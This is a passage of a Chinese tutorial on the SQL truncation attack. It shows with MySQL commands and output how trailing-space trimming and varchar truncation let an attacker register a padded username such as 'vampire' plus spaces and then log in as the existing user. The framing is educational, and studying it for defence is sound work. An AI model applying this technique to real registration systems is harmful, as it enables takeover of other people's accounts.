在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

    1. SELECT * FROM users WHERE username='vampire ';
    2. SELECT * FROM users WHERE username='vampire'; /*效果相同*/

    在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

    现在,让我们建立一个测试数据库来演示具体攻击过程。

    1. mysql> SELECT * FROM users;
    2. +----------+-------------+
    3. | username | password |
    4. +----------+-------------+
    5. | vampire | my_password |
    6. +----------+-------------+
    7. 1 row in set (0.00 sec)

    为了展示尾部空白字符的修剪情况,我们可以键入下列命令:

    1. mysql> SELECT * FROM users WHERE username='vampire ';
    2. +----------+-------------+
    3. | username | password |
    4. +----------+-------------+
    5. | vampire | my_password |
    6. +----------+-------------+
    7. 1 row in set (0.00 sec)

    现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。

    1. mysql> SELECT * FROM users WHERE username='vampire 1';
    2. Empty set (0.00 sec)

    需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。

    1. mysql> INSERT INTO users(username, password)
    2. -> VALUES ('vampire 1', 'random_pass');
    3. Query OK, 1 row affected, 1 warning (0.05 sec)
    4. mysql> SELECT * FROM users
    5. -> WHERE username='vampire';
    6. +---------------------------+-------------+
    7. | username | password |
    8. +---------------------------+-------------+
    9. | vampire | my_password |
    10. | vampire | random_pass |
    11. +---------------------------+-------------+
    12. 2 rows in set (0.00 sec)

    现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。